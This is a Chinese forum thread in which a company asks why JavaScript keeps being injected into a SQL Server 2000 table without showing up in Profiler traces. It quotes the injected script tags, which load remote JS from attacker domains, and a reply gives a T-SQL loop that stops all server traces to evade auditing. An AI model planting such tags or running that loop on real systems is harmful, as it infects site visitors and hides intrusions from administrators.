MSSQL2000被多次注入JS脚本,SQL探查器为什么没有记录?

[isjoe]

情况简介:

公司服务器一台,sql2000服务,近几天固定的一个表总是被插入js脚本,每次插入的js有时候不同有时候相同,
我们使用webservices访问服务器和sql,其中会有编辑该表的窗口(胖客户端),但是我们的webservices从来不
传递SQL语句,只传递数据,服务器端根据数据的状态,拼装SQL执行,请问一般的SQL注入能注入WebServices吗?

还有我们打开sql探查器后,数据被注入js,但是探查器没有相关记录,搜索相关的插入内容没有找到,也没有任何对
该表的Update语句,但是js被写入了表中(列:Text类型),每次总是这个列,插入的内容会有变化.还有我们的两个网站
和WebSErvies共用同一数据库,是不是来自网站的注入?探查器为什么没有记录呢?我们采用默认跟踪模板.

我们曾经给该表添加了一个触发器,触发器显示该表有Update操作,但是无法得到太多的信息了,通过表被插入的情况
sql应该是这样的 update 名表 set 列名=列名+'js内容'..........

js脚本有:</ｔｉｔｌｅ><ｓｃｒｉｐｔ src=ｈｔｔｐ://1.cool0.biz/１.ｊｓ></script><!--"></ｔｉｔｌｅ>
</ｔｉｔｌｅ><ｓｃｒｉｐｔt src=ｈｔｔｐ://%6b%6b%36%2e%75%73/１.ｊｓ></ｓｃｒｉｐｔ>
等等好多样子(我改用中文全角写得)

多谢指点!

[Limpire]

注入之前开跟踪，注入后肯定是可以跟踪到的。

[isjoe]

[Quote=引用 1 楼 Limpire 的回复:]
注入之前开跟踪，注入后肯定是可以跟踪到的。
[/Quote]

我开了一夜了.......触发器显示昨天晚上、凌晨都有update操作，可是探查器确没有记录，郁闷死了
探查器只有该表的select语句。其它没有了

[isjoe]

我现在就是搞不清，怎么注入的，我们使用webservics，不传递sql语句，
难道是网站被黑了。。。。没什么证据，为什么总改同一个表的同一个字段。。。

[hery2002]

.....

[nzperfect]

给我地址,我注入下试试

[hery2002]

[Quote=引用 5 楼 perfectaction 的回复:]
给我地址,我注入下试试
[/Quote]
吼吼,
貌似有种方式可以在探查器里面屏蔽,
忘了,晚上测试一下看看 :)

[nzperfect]

[Quote=引用 6 楼 hery2002 的回复:]
引用 5 楼 perfectaction 的回复:
给我地址,我注入下试试

吼吼,
貌似有种方式可以在探查器里面屏蔽,
忘了,晚上测试一下看看 :)
[/Quote]

莫非是:

 declare @t_count int 
 set @t_count=1 
 while exists(SELECT * FROM fn_trace_geteventinfo(@t_count)) 
 begin 
     exec sp_trace_setstatus @t_count,0 
     set @t_count=@t_count+1 
 end 

[nzperfect]

 declare @t_count int 
 set @t_count=1 
 while exists(SELECT * FROM ::fn_trace_geteventinfo(@t_count)) 
 begin 
     exec sp_trace_setstatus @t_count,0 
     set @t_count=@t_count+1 
 end 

[isjoe]

[Quote=引用 7 楼 perfectaction 的回复:]
引用 6 楼 hery2002 的回复:
引用 5 楼 perfectaction 的回复:
给我地址,我注入下试试

吼吼,
貌似有种方式可以在探查器里面屏蔽,
忘了,晚上测试一下看看 :)


莫非是:


SQL code declare @t_count int
set @t_count=1
while exists(SELECT * FROM fn_trace_geteventinfo(@t_count))
begin
exec sp_trace_setstatus @t_count,0
set @t_count=@t_count+1
end
[/Quote]

偶看不懂啊.............

[boigel]

关注。留个记号

[hery2002]

貌似是先通过 sp_trace_setstatus 将当前的trace状态设为停止,
然后调用 sp_trace_setfilter 过滤掉他自己的应用,
然后在跟踪器里面就跟踪不到,
吃饭先!
原文刚才找了一下,没有找到了~ :(
而不是直接暂停方式~

[jhwcd]

在IIS日志文件里查查呀！

[spgoal]

用log_explorer可以看到修改行的信息，我的网站也给注入了，修改了几次代码都无效，我现在开始怀疑是不是SQL SERVER 2000本身有漏洞，或者是服务器中毒了

[spgoal]

我也尝试用一些注入检测软件来检测网站，但也没发现有可注入的地方，也许我不太会用那个软件，叫什么NBXXX

[isjoe]

我也觉得是不是服务器有点问题了,IIs日志看了,没有看出什么.
我sql水平一般..大家还有什么好的建议.

[isjoe]

自己再Up一次.请教

[isjoe]

最后,在该表中添加了一个触发器,要是有js就再改回来......先这样吧